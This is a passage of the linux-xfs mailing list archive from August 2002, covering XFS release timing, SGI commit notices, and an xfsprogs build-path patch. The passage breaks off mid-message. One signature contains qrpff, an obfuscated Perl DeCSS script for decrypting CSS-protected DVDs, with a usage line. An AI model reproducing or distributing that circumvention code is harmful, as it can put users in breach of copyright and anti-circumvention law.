linux-xfs-outgoing; Thu, 8 Aug 2002 08:14:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from homer.nks.net (homer.nks.net [66.152.21.172]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78FEJRw018121 for ; Thu, 8 Aug 2002 08:14:21 -0700 Received: from hoju.nks.net (hoju.nks.net [192.168.1.17]) by homer.nks.net (8.9.3/8.9.3) with ESMTP id LAA11586 for ; Thu, 8 Aug 2002 11:16:21 -0400 Received: from two.nks.net (two.nks.net [192.168.1.22]) by hoju.nks.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA19834 for ; Thu, 8 Aug 2002 11:16:20 -0400 Subject: New XFS Release? [bump] From: Derek Glidden To: "linux-xfs@oss.sgi.com" In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 08 Aug 2002 11:16:19 -0400 Message-Id: <1028819780.8130.10.camel@two.nks.net> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.0 required=5.0 tests=IN_REP_TO,SUBJ_HAS_Q_MARK,WORK_AT_HOME version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Wed, 2002-07-10 at 09:13, Eric Sandeen wrote: > On Wed, 10 Jul 2002, Knut J Bjuland wrote: > > > What are there plans for a new XFS release, > > There will be a new release. :) > > We talked about this yesterday; there are so many new features & fixes > in CVS vs. the last relese, it's probably time for a new one. We'd like > to wait until 2.4.19 is out. Eric, I'm really not trying to put you on the spot, but, well, you *did* say you wanted to wait until 2.4.19 and, well, it *is* out now... :) Seriously, can you recommend that I just go grab the 2.4.19 split patches or do you think I'll be able to hold my breath for a new "release" version before upgrading the few "big" machines at work and at home that I'd really rather only update once in a while? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- #!/usr/bin/perl -w $_='while(read+STDIN,$_,2048){$a=29;$b=73;$c=142;$t=255;@t=map {$_%16or$t^=$c^=($m=(11,10,116,100,11,122,20,100)[$_/16%8])&110; $t^=(72,@z=(64,72,$a^=12*($_%16-2?0:$m&17)),$b^=$_%64?12:0,@z) [$_%8]}(16..271);if((@a=unx"C*",$_)[20]&48){$h=5;$_=unxb24,join "",@b=map{xB8,unxb8,chr($_^$a[--$h+84])}@ARGV;s/...$/1$&/;$d= unxV,xb25,$_;$e=256|(ord$b[4])<<9|ord$b[3];$d=$d>>8^($f=$t&($d >>12^$d>>4^$d^$d/8))<<17,$e=$e>>8^($t&($g=($q=$e>>14&7^$e)^$q* 8^$q<<6))<<9,$_=$t[$_]^(($h>>=8)+=$f+(~$g&$t))for@a[128..$#a]} print+x"C*",@a}';s/x/pack+/g;eval usage: qrpff 153 2 8 105 225 < /mnt/dvd/VOB_FILENAME \ | extract_mpeg2 | mpeg2dec - http://www.cs.cmu.edu/~dst/DeCSS/Gallery/ http://www.eff.org/ http://www.anti-dmca.org/ From owner-linux-xfs@oss.sgi.com Thu Aug 8 08:49:30 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78FnURw018972 for ; Thu, 8 Aug 2002 08:49:30 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78FnU9h018971 for linux-xfs-outgoing; Thu, 8 Aug 2002 08:49:30 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78FnJRw018939 for ; Thu, 8 Aug 2002 08:49:24 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA82080 for ; Thu, 8 Aug 2002 10:51:20 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA39147 for ; Thu, 8 Aug 2002 10:51:20 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id KAA44502 for linux-xfs@oss.sgi.com; Thu, 8 Aug 2002 10:51:19 -0500 (CDT) Date: Thu, 8 Aug 2002 10:51:19 -0500 (CDT) From: Dean Roehrich Message-Id: <200208081551.KAA44502@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - path_to_handle operations need to check inode operations vector X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk It's not safe to call LINVFS_GET_VP(inode) when you don't even know if you have an XFS inode. You can end up with a mess. So, check for the linvfs file operations vector on the inode to decide if it is an XFS inode. Date: Thu Aug 8 08:50:57 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124577a linux/fs/xfs/linux/xfs_ioctl.c - 1.72 linux/fs/xfs/dmapi/dmapi_register.c - 1.16 - In path_to_handle/fshandle functions, check for the linvfs operations vector on the inode to decide if it is an XFS inode. From owner-linux-xfs@oss.sgi.com Thu Aug 8 08:55:19 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78FtJRw019171 for ; Thu, 8 Aug 2002 08:55:19 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78FtJbe019170 for linux-xfs-outgoing; Thu, 8 Aug 2002 08:55:19 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78FtARw019130 for ; Thu, 8 Aug 2002 08:55:11 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id KAA37089; Thu, 8 Aug 2002 10:57:10 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id KAA90238; Thu, 8 Aug 2002 10:57:10 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g78FuBY19251; Thu, 8 Aug 2002 10:56:11 -0500 Subject: Re: New XFS Release? [bump] From: Steve Lord To: Derek Glidden Cc: "linux-xfs@oss.sgi.com" In-Reply-To: <1028819780.8130.10.camel@two.nks.net> References: <1028819780.8130.10.camel@two.nks.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 08 Aug 2002 10:56:10 -0500 Message-Id: <1028822170.17157.140.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-2.6 required=5.0 tests=IN_REP_TO,SUBJ_HAS_Q_MARK,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-08 at 10:16, Derek Glidden wrote: > On Wed, 2002-07-10 at 09:13, Eric Sandeen wrote: > > On Wed, 10 Jul 2002, Knut J Bjuland wrote: > > > > > What are there plans for a new XFS release, > > > > There will be a new release. :) > > > > We talked about this yesterday; there are so many new features & fixes > > in CVS vs. the last relese, it's probably time for a new one. We'd like > > to wait until 2.4.19 is out. > > Eric, > I'm really not trying to put you on the spot, but, well, you *did* say > you wanted to wait until 2.4.19 and, well, it *is* out now... > > :) > > Seriously, can you recommend that I just go grab the 2.4.19 split > patches or do you think I'll be able to hold my breath for a new > "release" version before upgrading the few "big" machines at work and at > home that I'd really rather only update once in a while? Eric is out for a while, I am so swamped with other stuff you would not believe it, this is why there has not been much of an SGI presence on the list this week. There are still plans for a new release, it will be 2.4.19 based, but making a release is not just push the button and out it pops. There appear to be a number of open issues in the current code base which we need to fix before we bless something with the title of a release. So it will probably be a while before there is one. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 8 09:00:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78G0iRw019414 for ; Thu, 8 Aug 2002 09:00:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78G0iRo019413 for linux-xfs-outgoing; Thu, 8 Aug 2002 09:00:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78G0XRw019385 for ; Thu, 8 Aug 2002 09:00:34 -0700 Received: from online.no (81.80-202-103.nextgentel.com [80.202.103.81]) by mail.broadpark.no (Postfix) with ESMTP id 8802F7D54; Thu, 8 Aug 2002 18:02:33 +0200 (MEST) Message-ID: <3D52945F.B965A883@online.no> Date: Thu, 08 Aug 2002 17:55:11 +0200 From: Knut J Bjuland X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-5XFScustom i686) X-Accept-Language: en MIME-Version: 1.0 To: Steve Lord Cc: Derek Glidden , "linux-xfs@oss.sgi.com" Subject: Re: New XFS Release? [bump] References: <1028819780.8130.10.camel@two.nks.net> <1028822170.17157.140.camel@jen.americas.sgi.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=1.0 required=5.0 tests=SUBJ_HAS_Q_MARK version=2.20 X-Spam-Level: * Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I think it would be better to wait untill Redhat has released 8.0 rather than wait for a xfs patch 8.0 kernel. Steve Lord wrote: > On Thu, 2002-08-08 at 10:16, Derek Glidden wrote: > > On Wed, 2002-07-10 at 09:13, Eric Sandeen wrote: > > > On Wed, 10 Jul 2002, Knut J Bjuland wrote: > > > > > > > What are there plans for a new XFS release, > > > > > > There will be a new release. :) > > > > > > We talked about this yesterday; there are so many new features & fixes > > > in CVS vs. the last relese, it's probably time for a new one. We'd like > > > to wait until 2.4.19 is out. > > > > Eric, > > I'm really not trying to put you on the spot, but, well, you *did* say > > you wanted to wait until 2.4.19 and, well, it *is* out now... > > > > :) > > > > Seriously, can you recommend that I just go grab the 2.4.19 split > > patches or do you think I'll be able to hold my breath for a new > > "release" version before upgrading the few "big" machines at work and at > > home that I'd really rather only update once in a while? > > Eric is out for a while, I am so swamped with other stuff you would > not believe it, this is why there has not been much of an SGI > presence on the list this week. There are still plans for a new > release, it will be 2.4.19 based, but making a release is not just > push the button and out it pops. There appear to be a number of > open issues in the current code base which we need to fix before > we bless something with the title of a release. So it will probably > be a while before there is one. > > Steve > > -- > > Steve Lord voice: +1-651-683-3511 > Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 8 11:12:57 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78ICvRw021704 for ; Thu, 8 Aug 2002 11:12:57 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78ICvtk021703 for linux-xfs-outgoing; Thu, 8 Aug 2002 11:12:57 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.infradead.org [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78ICTRw021625 for ; Thu, 8 Aug 2002 11:12:30 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17crnu-0004Il-00; Thu, 08 Aug 2002 19:14:34 +0100 Date: Thu, 8 Aug 2002 19:14:34 +0100 From: Christoph Hellwig To: Michael Wahlbrink Cc: linux-xfs@oss.sgi.com Subject: Re: TAKE - xfsprogs-2.2.0 Message-ID: <20020808191434.A16532@infradead.org> References: <200208080639.QAA15218@snort.melbourne.sgi.com> <3D523ABA.6020201@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3D523ABA.6020201@gmx.de>; from mimi.ka@gmx.de on Thu, Aug 08, 2002 at 11:32:42AM +0200 X-Spam-Status: No, hits=-9.4 required=5.0 tests=IN_REP_TO,UNIFIED_PATCH version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 08, 2002 at 11:32:42AM +0200, Michael Wahlbrink wrote: > Does that mean that the 'make install' now work proper and does not > install the stuff to /man /include .... (regardless the arguments of the > configure script)???? I've run into the same problem when building my xfs rpms for OpenLinux. The patch below is my temporary solution. It works fine for me by backing out the build system changes around 2.1.1. On ther other hand I don't have to support the braindead lib64 scheme the LSB commitee insist on.. --- xfsprogs-2.2.0/configure.in.~1~ Thu Aug 8 20:39:09 2002 +++ xfsprogs-2.2.0/configure.in Thu Aug 8 20:40:59 2002 @@ -8,7 +8,7 @@ AC_SUBST(pkg_name) # defaults (to change paths and/or executables, build parameters, etc): # # DEBUG OPTIMIZER MAKE CC LD TAR ZIP RPM AWK SED ECHO -# MALLOCLIB DISTRIBUTION PACKAGE_BUILDER +# MALLOCLIB DISTRIBUTION PACKAGE_BUILDER PREFIX ROOT_PREFIX # DEBUG=${DEBUG:-'-DDEBUG'} # -DNDEBUG @@ -200,18 +200,61 @@ test $ac_cv_sizeof_long -eq 8 && AC_DEFI test $ac_cv_sizeof_char_p -eq 4 && AC_DEFINE(HAVE_32BIT_PTR) test $ac_cv_sizeof_char_p -eq 8 && AC_DEFINE(HAVE_64BIT_PTR) + +dnl alternate root and usr prefixes +test -z "$ROOT_PREFIX" && ROOT_PREFIX="" +root_prefix="$ROOT_PREFIX" +test -z "$PREFIX" && PREFIX="/usr" +prefix="$PREFIX" + dnl man pages (source) dnl also check if man page source is gzipped dnl (usually on Debian, but not Redhat pre-7.0) +pkg_man_dir=${prefix}/share/man have_zipped_manpages=false for d in ${prefix}/share/man ${prefix}/man ; do if test -f $d/man1/man.1.gz then + pkg_man_dir=$d have_zipped_manpages=true break fi done +AC_SUBST(pkg_man_dir) AC_SUBST(have_zipped_manpages) -dnl build definitions for use in Makefiles -AC_OUTPUT(include/builddefs) +dnl binaries +pkg_bin_dir=${prefix}/sbin +AC_SUBST(pkg_bin_dir) + +dnl static libraries +pkg_lib_dir=${prefix}/lib +AC_SUBST(pkg_lib_dir) + +dnl runtime shared system libraries +pkg_slib_dir=${root_prefix}/lib +AC_SUBST(pkg_slib_dir) + +dnl system binaries +pkg_sbin_dir=${root_prefix}/sbin +AC_SUBST(pkg_sbin_dir) + +dnl include files +pkg_inc_dir=${prefix}/include/xfs +AC_SUBST(pkg_inc_dir) +dk_inc_dir=${prefix}/include/disk +AC_SUBST(dk_inc_dir) + +dnl doc directory +pkg_doc_dir=${prefix}/share/doc/${pkg_name} +AC_SUBST(pkg_doc_dir) + + +dnl +dnl output files +dnl + +AC_OUTPUT( \ +dnl Build definitions for use in Makefiles + include/builddefs \ +) --- xfsprogs/include/builddefs.in 2002/04/13 00:11:02 1.22 +++ xfsprogs/include/builddefs.in 2002/07/05 04:16:49 1.21 @@ -32,8 +32,8 @@ # @configure_input@ # -ifndef _BUILDDEFS_INCLUDED_ -_BUILDDEFS_INCLUDED_ = 1 +ifndef _BUILDMACROS_INCLUDED_ +_BUILDMACROS_INCLUDED_ = 1 DEBUG = @debug_build@ OPTIMIZER = @opt_build@ @@ -45,20 +45,20 @@ LIBXLOG = $(TOPDIR)/libxlog/libxlog.la LIBDISK = $(TOPDIR)/libdisk/libdisk.la LIBHANDLE = $(TOPDIR)/libhandle/libhandle.la -DK_INC_DIR = @includedir@/disk +DK_INC_DIR = @dk_inc_dir@ PKG_NAME = @pkg_name@ PKG_RELEASE = @pkg_release@ PKG_VERSION = @pkg_version@ PKG_DISTRIBUTION = @pkg_distribution@ PKG_BUILDER = @pkg_builder@ -PKG_BIN_DIR = @bindir@ -PKG_SBIN_DIR = @sbindir@ -PKG_LIB_DIR = @libdir@ -PKG_DEVLIB_DIR = @libexecdir@ -PKG_INC_DIR = @includedir@/xfs -PKG_MAN_DIR = @mandir@ -PKG_DOC_DIR = @datadir@/doc/@pkg_name@ +PKG_BIN_DIR = @pkg_bin_dir@ +PKG_LIB_DIR = @pkg_lib_dir@ +PKG_SBIN_DIR = @pkg_sbin_dir@ +PKG_SLIB_DIR = @pkg_slib_dir@ +PKG_INC_DIR = @pkg_inc_dir@ +PKG_MAN_DIR = @pkg_man_dir@ +PKG_DOC_DIR = @pkg_doc_dir@ CC = @cc@ LD = @ld@ --- xfsprogs/include/buildmacros 2002/05/14 15:31:38 1.4 +++ xfsprogs/include/buildmacros 2002/07/05 04:16:49 1.3 @@ -72,17 +72,17 @@ LTINSTALL = $(LIBTOOL) --mode=install $( LTCOMPILE = $(LIBTOOL) --mode=compile $(CCF) -D_REENTRANT -fno-strict-aliasing ifeq ($(ENABLE_SHARED),yes) -LTLDFLAGS += -rpath $(PKG_LIB_DIR) +LTLDFLAGS += -rpath $(PKG_SLIB_DIR) LTLDFLAGS += -version-info $(LTVERSION) endif ifeq ($(ENABLE_SHARED),yes) INSTALL_LTLIB = \ cd $(TOPDIR)/$(LIBNAME)/.libs; \ - ../$(INSTALL) -m 755 -d $(PKG_LIB_DIR); \ - ../$(INSTALL) -m 644 -T so_dot_version $(LIBNAME).lai $(PKG_LIB_DIR); \ + ../$(INSTALL) -m 755 -d $(PKG_SLIB_DIR); \ + ../$(INSTALL) -m 644 -T so_dot_version $(LIBNAME).lai $(PKG_SLIB_DIR); \ test "$(PKG_DISTRIBUTION)" = debian || \ - ../$(INSTALL) -T so_dot_current $(LIBNAME).lai $(PKG_LIB_DIR) + ../$(INSTALL) -T so_dot_current $(LIBNAME).lai $(PKG_SLIB_DIR) endif # Libtool thinks the static and shared libs should be in the same dir, so @@ -94,22 +94,22 @@ endif ifeq ($(ENABLE_SHARED),yes) INSTALL_LTLIB_DEV = \ cd $(TOPDIR)/$(LIBNAME)/.libs; \ - ../$(INSTALL) -m 755 -d $(PKG_DEVLIB_DIR); \ - ../$(INSTALL) -m 644 -T old_lib $(LIBNAME).lai $(PKG_DEVLIB_DIR); \ - ../$(INSTALL) -m 644 $(LIBNAME).lai $(PKG_DEVLIB_DIR)/$(LIBNAME).la ; \ ../$(INSTALL) -m 755 -d $(PKG_LIB_DIR); \ - ../$(INSTALL) -T so_base $(LIBNAME).lai $(PKG_LIB_DIR); \ - ../$(INSTALL) -S $(PKG_DEVLIB_DIR)/$(LIBNAME).a $(PKG_LIB_DIR)/$(LIBNAME).a; \ - ../$(INSTALL) -S $(PKG_DEVLIB_DIR)/$(LIBNAME).la $(PKG_LIB_DIR)/$(LIBNAME).la; \ - ../$(INSTALL) -S $(PKG_LIB_DIR)/$(LIBNAME).so $(PKG_DEVLIB_DIR)/$(LIBNAME).so + ../$(INSTALL) -m 644 -T old_lib $(LIBNAME).lai $(PKG_LIB_DIR); \ + ../$(INSTALL) -m 644 $(LIBNAME).lai $(PKG_LIB_DIR)/$(LIBNAME).la ; \ + ../$(INSTALL) -m 755 -d $(PKG_SLIB_DIR); \ + ../$(INSTALL) -T so_base $(LIBNAME).lai $(PKG_SLIB_DIR); \ + ../$(INSTALL) -S $(PKG_LIB_DIR)/$(LIBNAME).a $(PKG_SLIB_DIR)/$(LIBNAME).a; \ + ../$(INSTALL) -S $(PKG_LIB_DIR)/$(LIBNAME).la $(PKG_SLIB_DIR)/$(LIBNAME).la; \ + ../$(INSTALL) -S $(PKG_SLIB_DIR)/$(LIBNAME).so $(PKG_LIB_DIR)/$(LIBNAME).so else INSTALL_LTLIB_DEV = $(INSTALL_LTLIB_STATIC) endif INSTALL_LTLIB_STATIC = \ cd $(TOPDIR)/$(LIBNAME)/.libs; \ - ../$(INSTALL) -m 755 -d $(PKG_DEVLIB_DIR); \ - ../$(INSTALL) -m 644 -T old_lib $(LIBNAME).lai $(PKG_DEVLIB_DIR) + ../$(INSTALL) -m 755 -d $(PKG_LIB_DIR); \ + ../$(INSTALL) -m 644 -T old_lib $(LIBNAME).lai $(PKG_LIB_DIR) INSTALL_MAN = \ @for d in $(MAN_PAGES); do \ From owner-linux-xfs@oss.sgi.com Thu Aug 8 14:49:41 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78LnfRw024162 for ; Thu, 8 Aug 2002 14:49:41 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78LnfPE024161 for linux-xfs-outgoing; Thu, 8 Aug 2002 14:49:41 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78LnZRw024132 for ; Thu, 8 Aug 2002 14:49:35 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA37487 for ; Thu, 8 Aug 2002 16:51:37 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA09336 for ; Thu, 8 Aug 2002 16:51:37 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g78LoZ702653; Thu, 8 Aug 2002 16:50:35 -0500 Message-Id: <200208082150.g78LoZ702653@jen.americas.sgi.com> Date: Thu, 8 Aug 2002 16:50:35 -0500 Subject: TAKE - change xfs readahead implementation To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk This removes another external kernel change from xfs. Date: Thu Aug 8 14:46:45 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124636a linux/mm/page_alloc.c - 1.74 linux/kernel/ksyms.c - 1.131 linux/include/linux/mm.h - 1.85 linux/fs/xfs/pagebuf/page_buf.c - 1.49 linux/fs/xfs/pagebuf/page_buf.h - 1.33 From owner-linux-xfs@oss.sgi.com Thu Aug 8 14:51:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78LpiRw024329 for ; Thu, 8 Aug 2002 14:51:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78Lpi4l024328 for linux-xfs-outgoing; Thu, 8 Aug 2002 14:51:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78LpdRw024285 for ; Thu, 8 Aug 2002 14:51:40 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA41084 for ; Thu, 8 Aug 2002 16:53:41 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA95879 for ; Thu, 8 Aug 2002 16:53:41 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id QAA87643 for linux-xfs@oss.sgi.com; Thu, 8 Aug 2002 16:53:41 -0500 (CDT) Date: Thu, 8 Aug 2002 16:53:41 -0500 (CDT) From: Dean Roehrich Message-Id: <200208082153.QAA87643@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - Check inode->i_sb->s_magic when looking for xfs inodes X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Thu Aug 8 14:53:32 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124638a linux/fs/xfs/linux/xfs_ioctl.c - 1.73 linux/fs/xfs/dmapi/dmapi_register.c - 1.17 - Check inode->i_sb->s_magic when looking for xfs inodes From owner-linux-xfs@oss.sgi.com Thu Aug 8 14:53:29 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78LrTRw024518 for ; Thu, 8 Aug 2002 14:53:29 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78LrTnX024517 for linux-xfs-outgoing; Thu, 8 Aug 2002 14:53:29 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78LrORw024457 for ; Thu, 8 Aug 2002 14:53:24 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA36074 for ; Thu, 8 Aug 2002 16:55:26 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA52151 for ; Thu, 8 Aug 2002 16:55:26 -0500 (CDT) From: Steve Lord Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g78LsO102719; Thu, 8 Aug 2002 16:54:24 -0500 Message-Id: <200208082154.g78LsO102719@jen.americas.sgi.com> Date: Thu, 8 Aug 2002 16:54:24 -0500 Subject: TAKE - fix mapcheck To: linux-xfs@oss.sgi.com X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk This fixes the mapcheck test again, mmapped files were seeing non-zero data in the part of the last page beyond eof. Date: Thu Aug 8 14:54:20 PDT 2002 Workarea: jen.americas.sgi.com:/src/lord/xfs-linux.2.4 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124639a linux/fs/xfs/linux/xfs_iops.c - 1.168 - set new flag in getblock for all mappings returned beyond the eof From owner-linux-xfs@oss.sgi.com Thu Aug 8 16:55:13 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g78NtDRw025946 for ; Thu, 8 Aug 2002 16:55:13 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g78NtDKx025945 for linux-xfs-outgoing; Thu, 8 Aug 2002 16:55:13 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g78Nt7Rw025917 for ; Thu, 8 Aug 2002 16:55:07 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id QAA08804 for ; Thu, 8 Aug 2002 16:57:53 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id JAA25985; Fri, 9 Aug 2002 09:55:54 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g78Nrjjh000799; Fri, 9 Aug 2002 09:53:45 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g78Nrinc000797; Fri, 9 Aug 2002 09:53:44 +1000 Date: Fri, 9 Aug 2002 09:53:44 +1000 From: Nathan Scott To: Michael Wahlbrink Cc: linux-xfs@oss.sgi.com Subject: Re: TAKE - xfsprogs-2.2.0 Message-ID: <20020808235344.GA731@frodo> References: <200208080639.QAA15218@snort.melbourne.sgi.com> <3D523ABA.6020201@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D523ABA.6020201@gmx.de> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 08, 2002 at 11:32:42AM +0200, Michael 